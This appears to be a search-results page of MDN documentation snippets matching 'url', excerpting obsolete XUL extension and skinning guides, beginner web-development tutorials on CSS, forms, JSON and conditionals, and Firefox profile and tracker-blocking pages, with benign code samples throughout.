url for the datasources attribute, you can use an anchor reference to refer to a node within the same document. the effect is the same, but the data isn't stored in a separate file. <people id="famouspeople" xmlns=""> <person name="napoleon bonaparte" gender="male"/> <person name="cleopatra" gender="female"/> <person name="julius caesar" gender="male"/> <person name="ferdinand magellan" gend...
Complete - Archive of obsolete content
and modern). it provides all five custom toolbar buttons on all the toolbars, and it provides corresponding menu choices in seamonkey's chatzilla window. the following sections describe this extension's overall structure, and how it implements languages and themes. overall structure this extension's internal name is allcustom. it uses this name as the default file name throughout. where you see a
url in the code with no file name, the application uses this default file name and an extension appropriate for the type of file expected. the extension is supplied as a xpi, which is compressed to reduce download times. the xpi contains: install.rdf information about the extension chrome.manifest registration data for firefox etc. install.js...
...ling the extension, the locales en-us and fr-fr are both registered for the component allcustom. you can see the registration details in chrome.manifest (firefox, etc.) or in installed-chrome.txt and chrome.rdf (seamonkey). when the xul file, allcustom.xul is loaded, the doctype declaration near the top loads a dtd from chrome://allcustom/locale/. the application's chrome registry converts this
url to the correct dtd file for the locale you are using. the xul toolbarbutton tag contains an entity &allcustom.alert.1;. the dtd resolves this into a text string in the appropriate language. when you press the button, the code in the xul element sends the text string to the extension's javascript code in allcustom.js. the extension's javascript code displays the text. file structure in the ne...
...used by seamonkey. localizing the description firefox etc. display a description of the extension in the extensions window. the description in install.rdf is the default. for each supported locale, a description in install.properties overrides the default. a preference setting in defaults/preferences/allcustom.js makes the connection between the description and the properties file, specifying the
url: chrome://allcustom/locale/install.properties again, the application's chrome registry converts this
url to the correct file for the locale you are using. for example, if your locale is fr-fr, it gets the description from: locale/fr-fr/allcustom/install.properties testing a locale to test the alternative locale, install the extension in the normal way. restart the application using the command li...
Custom toolbar button - Archive of obsolete content
ste it into the new file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:name="custom button" em:description="my custom toolbar button" em:creator="my name" em:id="custom-toolbar-button@example.com" em:version="1.0" em:homepage
url="http://developer.mozilla.org/en/docs/custom_toolbar_button" em:icon
url="chrome://custombutton/content/icon.png" > <em:targetapplication><!-- firefox --> <description em:id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}" em:minversion="1.4" em:maxversion="*" /> </em:targetapplication> <em:targetapplication><!-- thunderbird --> <description e...
...e button to the application's toolbar customization palette. it also links to the stylesheet and javascript code that the button uses. the last section specifies details of the button. 7. create a plain text file named button.css. copy the following content, making sure that you scroll to get all of it. ...
... custom-button-2. duplicate the last section. in the id and oncommand attributes, change 1 to 2. change the label and tooltiptext attributes to whatever you want. do not change the class attribute. now edit button.css. duplicate the first three lines, changing the new lines to specify button-2. edit button.js and add javascript code for the new button. be sure to add the extra code before the c
urly brace on the last line of the file. for example, you could add this code for testing: 2: function () { alert("just testing again") }, create an image for the new button, naming the file button-2.png. the images supplied here are 40 pixels wide and 48 pixels high, with a 256-colour palette and a transparent background, in png format. some other formats will also work. here are some more i...
Adding Labels and Images - Archive of obsolete content
text fields. the control attribute is only supported for labels. the description element is intended for other descriptive text such as informative text at the top of a dialog box. images xul has an element to display images within a window. this element is appropriately named image. note that the tag name is different than html (image instead of img). you can use the src attribute to specify the
url of the image file. the example below shows this: <image src="images/banner.jpg"/> although you can use this syntax, it would be better in order to support different themes to use a style sheet to set the image
url. a later section will describe how to use style sheets, but an example will be shown here for completeness. you can use the list-style-image css property to set the
url for the image. ...
...because images vary by theme, you would usually place images in the skin directory. ...
...because images vary by theme, you would usually place images in the skin directory. in the next section, we will learn how to add some input controls to a window. ...
Creating a Skin - Archive of obsolete content
eate a directory somewhere where you want to place the skin files. copy a manifest file (contents.rdf) from the classic or modern skin into this new directory. modify the references in the manifest file to a custom name for your skin. for example, change references of 'classic/1.0' to 'blueswayedshoes/1.0'. add a line to the file 'chrome/installed-chrome.txt of the following form: skin,install,
url,file:///stuff/blueswayedshoes/ where the last part points to the directory you created. make sure to add a slash at the end. copy the original findfile.css into the new directory. we'll use this as a basis for the new skin. we can then refer to it using the
url 'chrome://findfile/skin/findfile.css'. adding style rules first, let's decide what kind of changes we want to make. we'll make some s...
...ne. adding toolbar icons it is somewhat difficult to distinguish the buttons on the toolbar from the commands on the menu. we could add some icons to the buttons to make them clearer. mozilla composer provides some icons for open and save buttons, which we'll just use here to save time. we can set the image for a button using the list-style-image css property. #opensearch { list-style-image:
url("chrome://editor/skin/icons/btn1.gif"); -moz-image-region: rect(48px 16px 64px 0); -moz-box-orient: vertical; } #savesearch { list-style-image:
url("chrome://editor/skin/icons/btn1.gif"); -moz-image-region: rect(80px 16px 96px 0); -moz-box-orient: vertical; } mozilla provides a custom style property -moz-image-region which can be used to make an element use part of an image. you ca...
...nge the xul. most of the box attributes have corresponding css properties. other changes next, we'll make a couple of changes to the buttons along the bottom, again reusing some icons from mozilla to save time. if creating your own skin, you will need to create new icons or copy the icons to new files. if following the example in this section, just copy the files to your new skin and change the
urls accordingly. #find-button { list-style-image:
url("chrome://global/skin/checkbox/images/cbox-check.jpg"); font-weight: bold; } #cancel-button { list-style-image:
url("chrome://global/skin/icons/images/close-button.jpg"); } button:hover { color: #000066; } we add some images to the buttons and make the find button have bold text to indicate that it is the default button. the last r...
XBL Inheritance - Archive of obsolete content
adds the text 'http://www' to the beginning of its value when the f4 key is pressed. example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends from the xul textbox element. the
url given in the extends attribute above is the
url of the textbox binding. this means that we inherit all of the content and behavior provided by the textbox binding. in addition, we add a handler which responds to the keypress event. autocompleting textboxes the example above is similar to how the
url autocomplete feature works in mozilla. a textbox that supports autocomplete is just one with a xbl...
...you can use it in your own applications too. just create a textbox with two extra attributes. ...
...enu will pop up with possible completions. you can use it in your own applications too. just create a textbox with two extra attributes. <textbox type="autocomplete" searchsessions="history"/> set the type to autocomplete to add the autocomplete feature to an existing textbox. set the searchsessions to indicate what type of data to look up. in this case, the value history is used, which looks up
urls in the history. (you can also use the value addrbook to look up addresses in the address book.) firefox uses a different autocomplete mechanism than the mozilla suite, see xul:textbox (firefox autocomplete) in the next section, we'll see an example xbl-defined widget. « previousnext » ...
Writing Skinnable XUL and CSS - Archive of obsolete content
tor package should contain a file called navigator.css that determines the default look of all xul windows posed from this package. if inheriting the global skin, a skin file must import the global skin explicitly. if your skin file wishes to inherit the global skin, then it should import the global skin explicitly. this is done using an @import directive placed at the top of the file. @import
url(chrome://global/skin/) ... rest of skin file ... css files for a skin fall into two categories: base skin files and derived skin files. css files that import another skin file are calledderived skin files. css files that don't import another skin file are calledbase skin files. there is one notable exception to this rule. skin files that don't import any other skin files, but that are only in...
...ugh the chrome registry. examples of overlays that should take place using the chrome registry include the security padlock icon and any messenger ui in the navigator window. style="..." is prohibited in xul files without approval any usages of inline style are extremely dangerous, since they are overriding the included skin, and must be approved before their usage will be allowed. image chrome
urls should never occur in xul. any chrome
url that references an image in the skin is strictly forbidden in the xul. if you find yourself needing to display an image from the skin, then use <titledbutton> and style it rather than using <html:img>. the problem here is that you'll end up placing a restriction on the skin, which will force the skin designer to supply an image with the exact name you've...
...y forbidden in the xul. if you find yourself needing to display an image from the skin, then use <titledbutton> and style it rather than using <html:img>. the problem here is that you'll end up placing a restriction on the skin, which will force the skin designer to supply an image with the exact name you've specified. this is not healthy. note that some particularly evil people put images chrome
urls in dtds. this is even worse, and it also is strictly forbidden. original document information author(s): david hyatt last updated date: may 24, 2000 copyright information: copyright (c) 1999-2000 david hyatt ...
iframe - Archive of obsolete content
="http://...". when used in this case, please see displaying web content in an extension without security issues. more information is available in the xul tutorial. ...
...default is false. src type: uri the uri of the content to appear in the element. type type: o...
...="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net" /> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> <iframe id="myframe" flex="1"/> <script> function donav(obj) { var
url = obj.selecteditem.value; // note the firstchild is the menupopup element document.getelementbyid('myframe').setattribute('src',
url); } </script> attributes showcaret type: boolean whether or not to cause a typing caret to be visible in the content area. default is false. src type: uri the uri of the content to appear in the element. type type: one of the values below. the type of browser, which can be used to set access of the document loaded inside the browser. if this is not s...
tree - Archive of obsolete content
</treerow> </treeitem> <treeitem> <treerow> <treecell value="false"/> <treecell label="bob"/> </treerow> </treeitem> </treechildren> </tree> </window> css: treechildren::-moz-tree-checkbox { /* unchecked checkbox treecells. this style must come before treechildren::-moz-tree-checkbox(checked) otherwise it won't take effect. */ list-style-image:
url("") } treechildren::-moz-tree-checkbox(checked) { /* checked checkbox treecells. cbox-check.gif isn't available in firefox 1, 2, and 3 in mac os x so you should specify a
url to an image in your extension or elsewhere. */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells. cbox-check-...
...check.gif isn't available in firefox 1, 2, and 3 in mac os x so you should specify a
url to an image in your extension or elsewhere. */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells. cbox-check-dis.gif isn't available in firefox 1, 2, and 3 in mac os x, so you should specify a
url to an image in your extension or elsewhere. ...
...uld specify a
url to an image in your extension or elsewhere. */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells. cbox-check-dis.gif isn't available in firefox 1, 2, and 3 in mac os x, so you should specify a
url to an image in your extension or elsewhere. ...
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
elf. also you had better set the appname and apppublisher properties to the same values specified in your xulrunner application's application.ini file. my app's .iss file sample as follows: ; script generated by the inno setup script wizard. ...
...alues specified in your xulrunner application's application.ini file. my app's .iss file sample as follows: ; script generated by the inno setup script wizard. ...
...ss file sample as follows: ; script generated by the inno setup script wizard. ...
MacFAQ - Archive of obsolete content
ommandline handlers work great on the mac if it's a cold start. here's how to implement command-line trapping when the app is already running, without getting into appleevents or c++ code. this is implemented in a pseudo "hidden window" technique and parsing the window arguments instead of command-line handlers and some of the toolkit singleton window code. ...
...nt command-line trapping when the app is already running, without getting into appleevents or c++ code. this is implemented in a pseudo "hidden window" technique and parsing the window arguments instead of command-line handlers and some of the toolkit singleton window code. ...
...chnique and parsing the window arguments instead of command-line handlers and some of the toolkit singleton window code. ...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
of speed, stability and memory issues. manual implementation - the author doesn't know enough about soap to implement a robust client in an afternoon. the best solution proved to be jqsoapclient. this library doesn't require a wsdl. though jquery is listed as a dependency, it can be worked around easily. ...
...as a dependency, it can be worked around easily. ...
...e.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy =
url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequest(
url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", <
url: soapclient.proxy, < datatype: "xml", < processdata: false, < data: conte...
What is RSS - Archive of obsolete content
tle> <description>watch it or else! ...
...e.com/show/4</guid> <pubdate>tue, 23 aug 2005 21:02:05 -0800</pubdate> <enclosure
url="http://katetv.example.com/show/4" length="1911146" type="application/ogg"/> </item> <item> <title>watch this</title> <guid>http://katetv.example.com/show/3</guid> <pubdate>tue, 16 aug 2005 16:11:57 -0400</pubdate> <enclosure
url="http://katetv.example.com/show/3" length="1387442" type="application/ogg"/> </item> <item> <title>it is me again</title> <guid>http://katetv.example.com/show/2</guid> <pubdate>tue, 9 aug 2005 13:12:12 -0400</pubdate> <enclosure
url="http://katetv.example.com/show/2" length="1894877" type="video/mpeg"/> </item> <item>...
...atetv.example.com/show/2</guid> <pubdate>tue, 9 aug 2005 13:12:12 -0400</pubdate> <enclosure
url="http://katetv.example.com/show/2" length="1894877" type="video/mpeg"/> </item> <item> <title>hello</title> <guid>http://katetv.example.com/show/1</guid> <pubdate>tue, 2 aug 2005 18:22:14 -0400</pubdate> <enclosure
url="http://katetv.example.com/show/1" length="17442215" type="application/ogg"/> </item> </channel> </rss> the observant reader may have noticed that the news web site and blogger examples were the same type of rss. and also that the internet radio and internet television examples were the same type of rss. in fact, the only real difference between the news/blogger rss and the internet...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
with a slight offset. i then set up a thicker double border on the left, a one-pixel border the rest of the way around, and set the background to match the rest of the design. thus: div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {border: 1px solid #339; border-left: 5px double #339; background: #eec
url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} finishing the style adding the background to the heading containing the name of the fish created three problems: the double border was completely covered up by the image. the text of the h3 was basically touching the right side of the floated image... ...or it would have been, except in some browsers the heading was drawn over t...
... the fish image and fish name. with just a few simple margin and padding changes, this was possible. div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; position: relative; z-index: 10; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {margin: 0 0 0 4px; padding: 0.2em 0 1px 150px; border: 1px solid #339; border-left: 5px double #339; background: #eec
url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} note how the image is pushed downward four pixels, while the h3 is pushed rightward four pixels. at the same time, the heading's padding was set to that it had 150 pixels of left padding. thus, the text starts 159 pixels from the leftmost edge of the card (4px left margin plus 5px left border plus 150px left padding). since all the fi...
... one word would wrap under an image. it's better to keep the text as if it's in a column of its own. div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; position: relative; z-index: 10; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {margin: 0 0 0 4px; padding: 0.2em 0 1px 150px; border: 1px solid #339; border-left: 5px double #339; background: #eec
url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} div.card p {margin: 0.5em 0.5em 0.5em 160px;} and voila! the cards are done. conclusion redesigning a classic is something like being asked to revisemoby dick for modern audiences: you're thrilled at the opportunity, but afraid of doing injustice to the original. i'd like to think that the final result was in keeping with the origin...
Using the Right Markup to Invoke Plugins - Archive of obsolete content
ow such unique identifiers in order to invoke the component of their choice. the codebase attribute used above points to a location that houses the cab file containing the activex control. in this context, the codebase attribute is used as an obtainment mechanism -- that is to say, a way to obtain a control if it isn't present. if the flash activex control is not installed, ie will then go to the
url referenced by the codebase attribute and retrieve the activex control. additional param elements (which are "children" of the above object element) specify configuration parameters for the flash plugin. for instance, the param name="movie" tells the flash plugin the location of the swf file to start playing. with the release of netscape 7.1, this kind of activex use of the object element is supp...
...namically write object elements based on architecture. for example, on browsers that support activex, such as ie, create an object element with a classid attribute, and on browsers that support the netscape plugin architecture, use a mime type. ...
...rent plugin vendors may require different configuration paramaters to be passed via the embed element, and learning these is advisable. note that the obtainment mechanism for the embed element -- that is, the way in which a plugin is obtained if it is missing -- comes via the pluginspage attribute. this attribute points to a page to get the plugin if it is not detected by the browser. the plugin
url attribute is another attribute that can be used, and it can be used to point directly to an xpinstall file for a more streamlined download. for the embed element in particular, these attributes in netscape 7 and mozilla are governed by the plugin finder service preference. under edit | preferences | navigator | helper applications is a preference to use netscape's plugin finder service. if the us...
Percent-encoding - MDN Web Docs Glossary: Definitions of Web-related terms
the encoding consists of substitution: a '%' followed by the hexadecimal representation of the ascii value of the replace character. special characters needing encoding are: ':', '/', '?', '#', '[', ']', '@', '!', '$', '&', "'", '(', ')', '*', '+', ',', ';', '=', as well as '%' itself. other characters don't need to be encoded, though they could. ...
... learn more general knowledge definition of percent-encoding in wikipedia. technical knowledge rfc 3986, section 2.1, where this encoding is defined. ...
... learn more general knowledge definition of percent-encoding in wikipedia. technical knowledge rfc 3986, section 2.1, where this encoding is defined. ...
Styling links - Learn web development
pseudo class. default styles the following example illustrates what a link will behave like by default (the css is simply enlarging and centering the text to make it stand out more.) <p><a href="#">a simple link</a></p> p { font-size: 2rem; text-align: center; } note: all the links in the examples in this page are fake links — a # (hash, or pound sign) is put in place of the real
url. this is because if the real links were included, clicking on them would break the examples (you'd end up with an error, or a page loaded in the embedded example that you couldn't get back from.) # just links to the current page. you'll notice a few things as you explore the default styles: links are underlined. unvisited links are blue. visited links are purple. hovering a link makes the...
...the last rule however is interesting — here we are inserting a custom background image on external links in a similar manner to how we hand...
...later, so if you need to support those older browsers, you'll just have to resize the image and insert it as is. finally, we set some padding-right on the links to make space for the background image to appear in, so we aren't overlapping it with the text. a final word — how did we select just external links? well, if you are writing your html links properly, you should only be using absolute
urls for external links — it is more efficient to use relative links to link to other parts of your own site (as with the first link). the text "http" should therefore only appear in external links (like the second and third ones), and we can select this with an attribute selector: a[href*="http"] selects <a> elements, but only if they have an href attribute with a value that contains "http" somewh...
Styling lists - Learn web development
value is outside, which causes the bullets to sit outside the list items, as seen above. if you set the value to inside, the bullets will sit inside the lines: ol { list-style-type: upper-roman; list-style-position: inside; } using a custom bullet image the list-style-image property allows you to use a custom image for your bullet. the syntax is pretty simple: ul { list-style-image:
url(star.svg); } however, this property is a bit limited in terms of controlling the position, size, etc. of the bullets. you are better off using the background family of properties, which you've learned in the backgrounds and borders article. for now, here's a taster! in our finished example, we have styled the unordered list like so (on top of what you've already seen above): ul { padding-lef...
...tion, size, etc. of the bullets. you are better off using the background family of properties, which you've learned in the backgrounds and borders article. for now, here's a taster! in our finished example, we have styled the unordered list like so (on top of what you've already seen above): ul { padding-left: 2rem; list-style-type: none; } ul li { padding-left: 2rem; background-image:
url(star.svg); background-position: 0 0; background-size: 1.6rem 1.6rem; background-repeat: no-repeat; } here we've done the following: set the padding-left of the <ul> down from the default 40px to 20px, then set the same amount on the list items. this is so that overall the list items are still lined up with the order list items and the description list descriptions, but the list items ha...
...ntil they fill up the available background space. we only want one copy of the image inserted in each case, so we set this to a value of no-repeat. this gives us the following result: list-style shorthand the three properties mentioned above can all be set using a single shorthand property, list-style. for example, the following css: ul { list-style-type: square; list-style-image:
url(example.png); list-style-position: inside; } could be replaced by this: ul { list-style: square
url(example.png) inside; } the values can be listed in any order, and you can use one, two or all three (the default values used for the properties that are not included are disc, none, and outside). if both a type and an image are specified, the type is used as a fallback if the image can't be ...
Basic native form controls - Learn web development
nding the data to the server. the following screenshot shows default, focused and disabled text input types in firefox 71 and safari on macos and in chrome 79 and edge 18 on windows 10. note: html5 enhanced the basic original single line text field by adding special values for the type attribute that enforce specific validation constraints and other features, for example specific to entering
urls or numbers. we'll cover those in the next article, the html5 input types. password field one of the original input types was the password text field type: <input type="password" id="pwd" name="pwd"> the password value doesn't add any special constraints to the entered text, but it does obscure the value entered into the field (e.g. with dots or asterisks) so it can't be easily read by other...
...ly edit the value, it will never receive focus, and a screen reader will not notice it either. <input type="hidden" id="timestamp" name="timestamp" value="1286705410"> if you create such an element, it's required to set its name and value attributes. the value can be dynamically set via javascript. the hidden input type should not have an associated label. other text input types, like search,
url, and tel, were added with html5. those will be covered in the next tutorial, html5 input types. checkable items: checkboxes and radio buttons checkable items are controls whose state you can change by clicking on them or their associated labels. there are two kinds of checkable item: the check box and the radio button. both use the checked attribute to indicate whether the widget is checked by ...
...he image represents the coordinate (0, 0)). the coordinates are sent as two key/value pairs: the x value key is the value of the name attribute followed by the string ".x". the y value key is the value of the name attribute followed by the string ".y". so for example when you click on the image at coordinate (123, 456) and it submits via the get method, you'll see the values appended to the
url as follows: http://foo.com?pos.x=123&pos.y=456 this is a very convenient way to build a "hot map". how these values are sent and retrieved is detailed in the sending form data article. file picker there is one last <input> type that came to us in early html: the file input type. forms are able to send files to a server (this specific action is also detailed in the sending form data article). ...
From object to iframe — other embedding technologies - Learn web development
i (somewhat beyond scope for this article.) frameborder if set to 1, this tells the browser to draw a border between this frame and other frames, which is the default behaviour. 0 removes the border. using this isn't really recommended any more, as the same effect can be better achieved using border: none; in your css. src this attribute, as with <video>/<img>, contains a path pointing to the
url of the document to be embedded. width and height these attributes specify the width and height you want the iframe to be. fallback content in the same way as other similar elements like <video>, you can include fallback content between the opening and closing <iframe></iframe> tags that will appear if the browser doesn't support the <iframe>. in this case, we have included a link to the page ...
... one, you may serve your parent document with http. however, because of the second benefit of https above, no matter what the cost, you must never embed third-party content with http. (in the best case scenario, your user's web browser will give them a scary warning.) all reputable companies that make content available for embedding via an <iframe> will make it available via https — look at the
urls inside the <iframe> src attribute when you are embedding content from google maps or youtube, for example. note: github pages allow content to be served via https by default, so is useful for hosting content. if you are using different hosting and are not sure, ask your hosting provider about it. always use the sandbox attribute you want to give attackers as little power as you can to do ba...
...h better, easier elements to handle those. plugins and these embedding methods are really a legacy technology, and we are mainly mentioning them in case you come across them in certain circumstances like intranets, or enterprise projects. ...
Looping code - Learn web development
ping. this is generally an expression featuring a comparison operator, a test to see if the exit condition has been met. a final-expression — this is always evaluated (or run) each time the loop has gone through a full iteration. it usually serves to increment (or in some cases decrement) the counter variable, to bring it closer to the point where the condition is no longer true. some c
urly braces that contain a block of code — this code will be run each time the loop iterates. let's look at a real example so we can visualize what these do more clearly. const cats = ['bill', 'jeff', 'pete', 'biggles', 'jasmin']; let info = 'my cats are called '; const para = document.queryselector('p'); for (let i = 0; i < cats.length; i++) { info += cats[i] + ', '; } para.textcontent = in...
...note: this still works just the same as expected — have a look at it running live on github (also view the full source code). the do...while loop is very similar, but provides a variation on the while structure: initializer do { // code to run final-expression } while (condition) in this case, the initializer again comes first, before the loop starts. ...
...ode to run final-expression } while (condition) in this case, the initializer again comes first, before the loop starts. the keyword directly precedes the c
urly braces containing the code to run and the final expression. the differentiator here is that the condition comes after everything else, wrapped in parentheses and preceded by a while keyword. in a do...while loop, the code inside the c
urly braces is always run once before the check is made to see if it should be executed again (in while and for, the check comes first, so the code might never be executed). let's rewrite our cat listing example again to use a do...while loop: let i = 0; do { if (i === cats.length - 1) { info += 'and ' + cats[i] + '.'; } else { info += cats[i] + ', '; } i++; } while (i < cats.leng...
Making decisions in your code — conditionals - Learn web development
ode to run if condition is true } else { run some other code instead } here we've got: the keyword if followed by some parentheses. a condition to test, placed inside the parentheses (typically "is this value bigger than this other value?", or "does this value exist?"). the condition makes use of the comparison operators we discussed in the last module and returns true or false. a set of c
urly braces, inside which we have some code — this can be any code we like, and it only runs if the condition returns true. the keyword else. another set of c
urly braces, inside which we have some more code — this can be any code we like, and it only runs if the condition is not true — or in other words, the condition is false. this code is pretty human-readable — it is saying "if the con...
... the keyword else. another set of c
urly braces, inside which we have some more code — this can be any code we like, and it only runs if the condition is not true — or in other words, the condition is false. this code is pretty human-readable — it is saying "if the condition returns true, run code a, else run code b" you should note that you don't have to include the else and the second c
urly brace block — the following is also perfectly legal code: if (condition) { code to run if condition is true } run some other code however, you need to be careful here — in this case, the second block of code is not controlled by the conditional statement, so it always runs, regardless of whether the condition returns true or false. this is not necessarily a bad thing, but it might not b...
...ful here — in this case, the second block of code is not controlled by the conditional statement, so it always runs, regardless of whether the condition returns true or false. this is not necessarily a bad thing, but it might not be what you want — often you want to run one block of code or the other, not both. as a final point, you may sometimes see if...else statements written without the c
urly braces, in the following shorthand style: if (condition) code to run if condition is true else run some other code instead this is perfectly valid code, but using it is not recommended — it is much easier to read the code and work out what is going on if you use the c
urly braces to delimit the blocks of code, and use multiple lines and indentation. a real example to understand this syntax ...
Working with JSON - Learn web development
allows us to make network requests to retrieve resources from a server via javascript (e.g. images, text, json, even html snippets), meaning that we can update small sections of content without having to reload the entire page. this has led to more responsive web pages, and sounds exciting, but it is beyond the scope of this article to teach it in much more detail. to start with, we store the
url of the json we want to retrieve in a variable. add the following at the bottom of your javascript code: let request
url = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; to create a request, we need to create a new request object instance from the xmlhttprequest constructor, using the new keyword. add the following below your last line: let request = new xmlhttp...
...'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; to create a request, we need to create a new request object instance from the xmlhttprequest constructor, using the new keyword. add the following below your last line: let request = new xmlhttprequest(); now we need to open the request using the open() method. add the following line: request.open('get', request
url); this takes at least two parameters — there are other optional parameters available. we only need the two mandatory ones for this simple example: the http method to use when making the network request. in this case get is fine, as we are just retrieving some simple data. the
url to make the request to — this is the
url of the json file that we stored earlier. next, add the...
...turns the equivalent json string form. you can see the first one in action in our heroes-finished-json-parse.html example (see the source code) — this does exactly the same thing as the example we built up earlier, except that we set the xhr to return the raw json text, then used parse() to convert it to an actual javascript object. the key snippet of code is here: request.open('get', request
url); request.responsetype = 'text'; // now we're getting a string! request.send(); request.onload = function() { const superheroestext = request.response; // get the string from the response const superheroes = json.parse(superheroestext); // convert it to an object populateheader(superheroes); showheroes(superheroes); } as you might guess, stringify() works the opposite way. try entering ...
Introduction to the server side - Learn web development
h users. in the modern world of web development, learning about server-side development is highly recommended. what is server-side website programming? web browsers communicate with web servers using the hypertext transfer protocol (http). when you click a link on a web page, submit a form, or run a search, an http request is sent from your browser to the target server. the request includes a
url identifying the affected resource, a method that defines the required action (for example to get, delete, or post the resource), and may include additional information encoded in
url parameters (the field-value pairs sent via a query string), as post data (data sent by the http post method), or in associated cookies. web servers wait for client request messages, process them when they arrive, an...
... a new html page, or an image, etc...), which could then be displayed by the web browser. static sites the diagram below shows a basic web server architecture for a static site (a static site is one that returns the same hard-coded content from the server whenever a particular resource is requested). when a user wants to navigate to a page, the browser sends an http "get" request specifying its
url. the server retrieves the requested document from its file system and returns an http response containing the document and a success status (usually 200 ok). if the file cannot be retrieved for some reason, an error status is returned (see client error responses and server error responses). dynamic sites a dynamic website is one where some of the response content is generated dynamically, on...
...ses). dynamic sites a dynamic website is one where some of the response content is generated dynamically, only when needed. on a dynamic website html pages are normally created by inserting data from a database into placeholders in html templates (this is a much more efficient way of storing large amounts of content than using static websites). a dynamic site can return different data for a
url based on information provided by the user or stored preferences and can perform other operations as part of returning a response (e.g. sending notifications). most of the code to support a dynamic website must run on the server. creating this code is known as "server-side programming" (or sometimes "back-end scripting"). the diagram below shows a simple architecture for a dynamic website. as in...
Displaying Places information using views
whose uris you plan on changing, you will want to set the view's place property dynamically using javascript. note that in the latter case it is not sufficient to call setattribute on the element; use the element's place property instead. see querying places and places query uris for information on query uris. the following example uses the built-in tree view to display bookmarks whose titles or
urls contain "mozilla". remember that, because xul is xml, any ampersands in query uris must be written as entity reference & and not simply &. <tree type="places" place="place:terms=mozilla&onlybookmarked=1&querytype=1"> <treecols> <treecol id="title" label="my bookmarks" flex="1" primary="true" /> </treecols> <treechildren /> </tree> the next example does the same as the la...
...nsible for updating itself. note: starting in gecko 2.0, nsinavhistoryresultviewer has been replaced by the more powerful nsinavhistoryresultobserver. tree view create a built-in tree view by setting the type attribute to "places" on a tree element. the treechildren element should be empty: <tree type="places"> <treecols> <treecol id="title" flex="1" primary="true" /> <treecol id="
url" flex="1" /> </treecols> <treechildren /> </tree> the tree view is implemented in browser/components/places/content/tree.xml. see the tree reference and trees tutorial for general information about trees. if you would like your tree view to be styled in the same manner that firefox styles its uses of the view, you should include the following stylesheet. note that this stylesheet is differ...
... for example, by setting a column's id to "title", you tell the view to display the title of the nsinavhistoryresultnode of each row in that column. the following table shows the mappings between these magic column id values and their corresponding nsinavhistoryresultnode properties: treecol id or anonid corresponding nsinavhistoryresultnode property title title
url uri date time visitcount accesscount keyword * description * dateadded dateadded lastmodified lastmodified tags tags ** icon *keyword and description are looked up in the places database using the nsinavhistoryresultnode property itemid. **the title column (and only the title column) automat...
Multiple Firefox profiles
ty tools that make working with multiple profiles easy. this list is by no means exhaustive. please add any helpful tools you discover to the list! mac os x multifirefox by dave martorana profile management determining the profile while firefox is running to determine the profile of a currently-running firefox instance in windows, macos or linux, type about:profiles into the browser
url search bar. the page presents a list of all of your profiles, each beginning with "profile: " followed by its name. the one being run by this firefox instance will include the bold text "this is the profile in use" for example, if you find that text beneath the entry for "profile: suzie", then you are running in a profile named suzie. launching firefox into a desired profile although it is p...
...ion, you might want to first exit/quit/terminate all running instances of firefox, firefox developer edition or nightly. then follow the instructions below, applicable to your operating system. from profile manager inside firefox if you already have firefox instance running, you can open another profile from the integrated profile manager on any platform: type about:profiles into the browser
url search bar. find the profile you want to use. press the “launch profile in new browser” button next to it. windows windows xp click the start button. click "run". type firefox --new-instance--profilemanager. windows vista/7 click the start button. click the search bar at the bottom. type firefox --new-instance --profilemanager. windows 8/8.1/10 press "windows +...
...the profile, select a new or empty folder. if you choose a folder that isn't empty, and you later remove the profile and choose the \"delete files\" option, everything inside that folder will be deleted. to create the new profile, click finish. creating a profile through the firefox browser you can create a new firefox profile directly from the browser. type about:profiles into the browser
url search bar on the page, click create a new profile button read the introduction, and click next enter a profile name for your new profile. use a profile name that is descriptive, such as your personal name. this name is not exposed to the internet. optionally, to change where the profile will be stored on your computer, click choose folder... to create the new profile, click finish. deleti...
Storage access policy: Block cookies from trackers
tection" version of the list, which excludes some categories of trackers. in the future, we may expand our protections to use the "strict protection" version of the list. second, firefox uses an additional "entity list", which prevents domains from being classified as trackers when they are loaded on a top-level site owned by the same organization. firefox uses the built-in tracking protection
url classifier to determine which resources match the tracking protection list. domains are matched against the list in accordance with the safebrowsing v4 specification. specifically, we check the exact hostname of the resource against the list, as well as the last four hostnames formed by starting with the last five components and successively removing the leading component. consider the following ...
